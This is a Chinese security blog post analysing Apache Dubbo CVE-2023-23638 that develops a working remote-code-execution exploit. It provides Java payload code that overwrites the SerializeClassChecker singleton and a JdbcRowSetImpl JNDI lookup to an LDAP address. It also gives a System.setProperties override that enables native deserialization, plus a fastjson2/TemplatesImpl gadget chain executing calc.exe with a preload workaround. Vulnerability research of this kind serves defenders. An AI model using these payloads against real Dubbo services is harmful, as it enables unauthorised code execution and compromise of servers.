本文首发于先知社区:https://xz.aliyun.com/t/12396

在对Apache dubbo 的CVE-2023-23638漏洞分析的过程中,通过对师傅们对这个漏洞的学习和整理,再结合了一些新学的技巧运用,从而把这个漏洞的利用向前推了一步。整个过程中的研究思路以及遇到问题并解决问题的过程,我觉得值得分享,所以写下此文记录。

漏洞背景

Apache Dubbo 是一款易用、高性能的WEB 和RPC 框架,同时为构建企业级微服务提供服务发现、流量治理、可观测、认证鉴权等能力、工具与最佳实践。

该漏洞核心原理是利用dubbo的泛化调用功能,反序列化任意类,从而造成反序列化攻击。这个漏洞影响Apache Dubbo 2.7.x,2.7.21及之前版本; Apache Dubbo 3.0.x 版本,3.0.13 及之前版本; Apache Dubbo 3.1.x 版本,3.1.5 及之前的版本。

在普通的Dubbo方法调用过程中,客户端需要环境中存在被调用类的接口,才能正常继续调用。泛化调用则是指在客户端在没有服务方提供的 API(SDK)的情况下,对服务方进行调用,并且可以正常拿到调用结果。 详细的泛化调用说明可以见:https://cn.dubbo.apache.org/zh-cn/overview/tasks/develop/generic/

既然是泛化调用,那就代表用户可以在Dubbo服务端传入任意类。也正是因为这个功能,给Dubbo带来了一些漏洞,在CVE-2021-30179中,由于这个功能没有对传入的类做任何的限制,导致攻击者可以通过传入恶意的类,并调用其特定方法,导致代码执行。后续Dubbo在代码层面对传入的类进行了限制,从而防御攻击者传入恶意的类进行RCE,而这个防御,在CVE-2023-23638中被绕过,也就是本篇文章所要讲述的内容。

漏洞原理

Dubbo处理泛化调用请求的核心类是org.apache.dubbo.rpc.filter.GenericFilter,在这个filter的invoke方法中,对客户端的调用进行了判断,同时根据服务端的配置进入不同的反序列化逻辑。用户进行泛化调用时可以传入一个hashmap,当map中存在generic-raw.return这组键值对时,GenericFilter就会进入PojoUtils.realize()方法,把用户传入的类进行实例化,并对实例化后对象的属性进行赋值。

CVE-2021-30179的补丁打在了类初始化的时候:

1
2
3
4
5
6
7
8
9
10
11
12
else if (pojo instanceof Map && type != null) {
Object className = ((Map)pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String)className);
if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
try {
type = ClassUtils.forName((String)className);
} catch (ClassNotFoundException var22) {
CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
}
}
}

通过调用SerializeClassChecker.getInstance().validateClass((String)className);对传入的类进行黑名单过滤,过滤结束后使用ClassUtils.forName((String)className);获取类,后续会调用class.newInstance()进行类的实例化,最后通过如下代码进行对象的属性赋值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if (value != null) {
Method method = getSetterMethod(dest.getClass(), name, value.getClass());
Field field = getField(dest.getClass(), name);
if (method != null) {
if (!method.isAccessible()) {
method.setAccessible(true);
}

Type ptype = method.getGenericParameterTypes()[0];
value = realize0(value, method.getParameterTypes()[0], ptype, history);

try {
method.invoke(dest, value);
} catch (Exception var20) {
String exceptionDescription = "Failed to set pojo " + dest.getClass().getSimpleName() + " property " + name + " value " + value.getClass() + ", cause: " + var20.getMessage();
logger.error("0-8", "", "", exceptionDescription, var20);
throw new RuntimeException(exceptionDescription, var20);
}
} else if (field != null) {
value = realize0(value, field.getType(), field.getGenericType(), history);

try {
field.set(dest, value);
} catch (IllegalAccessException var19) {
throw new RuntimeException("Failed to set field " + name + " of pojo " + dest.getClass().getName() + " : " + var19.getMessage(), var19);
}
}
}

程序会先尝试先获取类属性的set方法,如果目标类存在这个set方法,那么会利用method.invoke进行执行。如果没有set方法,那么会通过反射获取类的目标属性,然后调用field.set进行赋值。

也就是说,泛化调用对于用户提供了如下的代码执行点:

我们可以传入任意的非黑名单类,然后调用这个类的public或者private无参构造方法,然后可以调用这个生成的Object的任意set+METHOD_NAME方法,要求参数有且仅有一个,或者利用object.field.set方法对这个object的任意属性赋值。

这个漏洞存在两种利用方式,对应了dubbo提供的两种赋值的方法。

利用方式1

利用object.field.set进行利用。

Dubbo在泛化调用中,对传入类进行黑名单过滤的具体代码在org.apache.dubbo.common.utils.PojoUtils#realize0,使用SerializeClassChecker的validateClass方法进行过滤。

1
2
3
4
5
6
7
8
9
10
11
Object className = ((Map)pojo).get("class");
if (className instanceof String) {
SerializeClassChecker.getInstance().validateClass((String)className);
if (!CLASS_NOT_FOUND_CACHE.containsKey(className)) {
try {
type = ClassUtils.forName((String)className);
} catch (ClassNotFoundException var22) {
CLASS_NOT_FOUND_CACHE.put((String)className, NOT_FOUND_VALUE);
}
}
}

validateClass方法内容如下:

1
2
3
4
5
6
public boolean validateClass(String name, boolean failOnError) {
if (!this.OPEN_CHECK_CLASS) {
return true;
} else {
...

这个方法首先会对SerializeClassChecker的OPEN_CHECK_CLASS属性进行判断,如果这个属性为false,那么就不会对传入类进行检查,直接返回。再看getInstance方法:

1
2
3
4
5
6
7
8
9
10
11
12
public static SerializeClassChecker getInstance() {
if (INSTANCE == null) {
Class var0 = SerializeClassChecker.class;
synchronized(SerializeClassChecker.class) {
if (INSTANCE == null) {
INSTANCE = new SerializeClassChecker();
}
}
}

return INSTANCE;
}

这是一个典型的单例模式的写法。因此如果我们可以替换掉这个INSTANCE对象,将它的OPEN_CHECK_CLASS属性置为false,那么就可以绕过黑名单类的检查,之后就可以使用类似CVE-2021-30179的POC进行代码执行。核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static Map getInstance() throws IOException {
HashMap newChecker = new HashMap();
newChecker.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
newChecker.put("OPEN_CHECK_CLASS", false);
HashMap map = new HashMap();
map.put("class", "org.apache.dubbo.common.utils.SerializeClassChecker");
map.put("INSTANCE", newChecker);
LinkedHashMap map2 = new LinkedHashMap();
map2.put("class", "com.sun.rowset.JdbcRowSetImpl");
map2.put("DataSourceName", "ldap://127.0.0.1:1099/exp");
map2.put("autoCommit", true);
HashMap map3 = new HashMap();
map3.put("class","java.util.HashMap");
map3.put("1",map);
map3.put("2",map2);
return map3;
}

第一个newChecker,用于创建一个OPEN_CHECK_CLASS属性值为false的SerializeClassChecker的对象,第二个map,用于将newChecker传入到SerializeClassChecker的单例INSTACNE属性中。然后第三个map2,使用类似CVE-2021-30179的POC,创建一个com.sun.rowset.JdbcRowSetImpl对象,然后dubbo会先后调用setDataSourceName和setAutoCommit,从而向我们指定的地址发起JNDI请求。需要注意这里map2需要设置为LinkedHashMap,否则在dubbo进行set调用时可能无法按照先setDataSourceName,再setAutoCommit的顺序执行。

利用方式2

利用object.set+METHOD_NAME进行利用。

dubbo在泛化调用的过程中是存在一个接口允许原生java反序列化的。但是这个接口默认不开启,同时会进行序列化的黑名单类检查。然而这个接口调用开关是可以被控制的,我们如果可以把它打开,那么这个漏洞就变成了一个原生的java反序列化漏洞,利用特定的gadget就可以RCE。在https://xz.aliyun.com/t/12333#toc-5中,师傅提到了可以使用org.apache.dubbo.common.utils.ConfigUtils类,它存在一个setProperties方法,可以对PROPERTIES对象进行赋值,从而控制开关。但是我发现org.apache.dubbo.common.utils.ConfigUtils的setProperties方法只在2.7.x版本的dubbo存在,3.0.x和3.1.x都是没有的。那有没有什么通用的方法呢?事实上,Dubbo的configuration也是可以通过java.lang.System类的props对象进行传入的。那么就可以直接调用System.setProperties方法,传入修改后的dubbo配置。代码如下:

1
2
3
4
5
6
7
8
9
private static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}

在这之后就可以使用类似如下的代码进行原生反序列化利用

1
2
3
4
out.writeObject(getEvilObject());
HashMap attachments = new HashMap();
attachments.put("generic", "nativejava");
out.writeObject(attachments);

进一步拓展

上述两种方法,在公开的分析文章里,都存在着一些问题。方法1中最终的Sink点是JNDI注入,需要出网。方法2中最终需要依赖特定的Gadget,在之前的Dubbo的反序列化分析文章中,大家在Gadget选择时都会使用一些三方依赖进行漏洞利用,例如Rome、CommonsBeanutils1等。那Dubbo是否存在原生的Java反序列化链呢?

在Dubbo 3.1.x的版本中,新增了对Fastjson2的支持。恰好前段时间刚好看到有师傅发了fastjson库在原生Java反序列化中的利用。结论是fastjons小于1.2.48版本是可以使用,fastjson2全版本是通杀的。利用的原理是fastjson的JSONArray或者JSONObject在调用其toString方法时,会触发其包裹对象的get+METHOD_NAME方法。因此很容易想到可以包裹一个TemplatesImpl对象,通过调用其getOutputProperties方法,从而执行任意代码。

既然已经有了方法,那实现一下试试吧。关键代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}

public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{},
clazz);
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", bytes);
setValue(templates, "_name", "test");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException val = new
BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, jsonArray);

NativeJavaSerialization nativeJavaSerialization =new NativeJavaSerialization();
UnsafeByteArrayOutputStream unsafeByteArrayOutputStream = new UnsafeByteArrayOutputStream();
ObjectOutput o = nativeJavaSerialization.serialize(null,unsafeByteArrayOutputStream);
o.writeObject(val);

return unsafeByteArrayOutputStream.toByteArray();
}

send(getProperties());
send(getObject());

程序先通过System.setProperties修改目标的序列化配置,然后再发送恶意的序列化代码,指定目标执行一个Calc.exe程序。结果程序报错了,报错如下:

程序最前面和预期的一样,成功执行了Java原生反序列化,但是在反序列化的过程中,fastjson2的JSONWriter$Context的类初始化时,在TzdbZoneRulesProvider的构造函数中报错了,其构造函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
public TzdbZoneRulesProvider() {
try {
String libDir = System.getProperty("java.home") + File.separator + "lib";
try (DataInputStream dis = new DataInputStream(
new BufferedInputStream(new FileInputStream(
new File(libDir, "tzdb.dat"))))) {
load(dis);
}
} catch (Exception ex) {
throw new ZoneRulesException("Unable to load TZDB time-zone rules", ex);
}
}

可以看到,这个构造函数中会调用System.getProperty(“java.home”),拼接进文件读取路径,从而去读取jre路径下的tzdb.dat,这是一个IANA提供的TimeZone数据库,维护着最新最全的全球时区相关基础数据。由于我们在反序列化前替换掉了目标服务的System类的props对象,因此,这里System.getProperty(“java.home”)就会返回null,从而导致报错。

这个问题如何解决呢?通过观察调用链,以及动态调试,我找到了解决方法。通过在TzdbZoneRulesProvider类的构造函数打断点。

注意到TzdbZoneRulesProvider的初始化是被ZoneRulesProvider的类初始化调用的。ZoneRulesProvider的相关代码如下:

可以看到在ZoneRulesProvider类的static代码块中调用的new TzdbZoneRulesProvider()。static块的代码在程序被运行起来后,之后最多加载一次。因此如果可以让这个ZoneRulesProvider类在我们执行攻击前被加载一次,那么我们在执行攻击时就不会再加载这块代码,也就不会报错了。

有了这个方法,第一时间就想到,dubbo 的泛化调用可以初始化并newIntance类,并且TzdbZoneRulesProvider是ZoneRulesProvider的子类,ZoneRulesProvider在newIntance时初始化其弗雷,从而调用传ZoneRulesProvider类的static代码。基于这个想法,构造如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private static Map getInstance() throws IOException {
HashMap map = new HashMap();
map.put("class", "java.time.zone.TzdbZoneRulesProvider");
return map;
}

private static Map getProperties() throws IOException {
Properties properties = new Properties();
properties.setProperty("dubbo.security.serialize.generic.native-java-enable","true");
properties.setProperty("serialization.security.check","false");
HashMap map = new HashMap();
map.put("class", "java.lang.System");
map.put("properties", properties);
return map;
}

分成两步发送,最后发送序列化poc,即可完成代码执行。

参考链接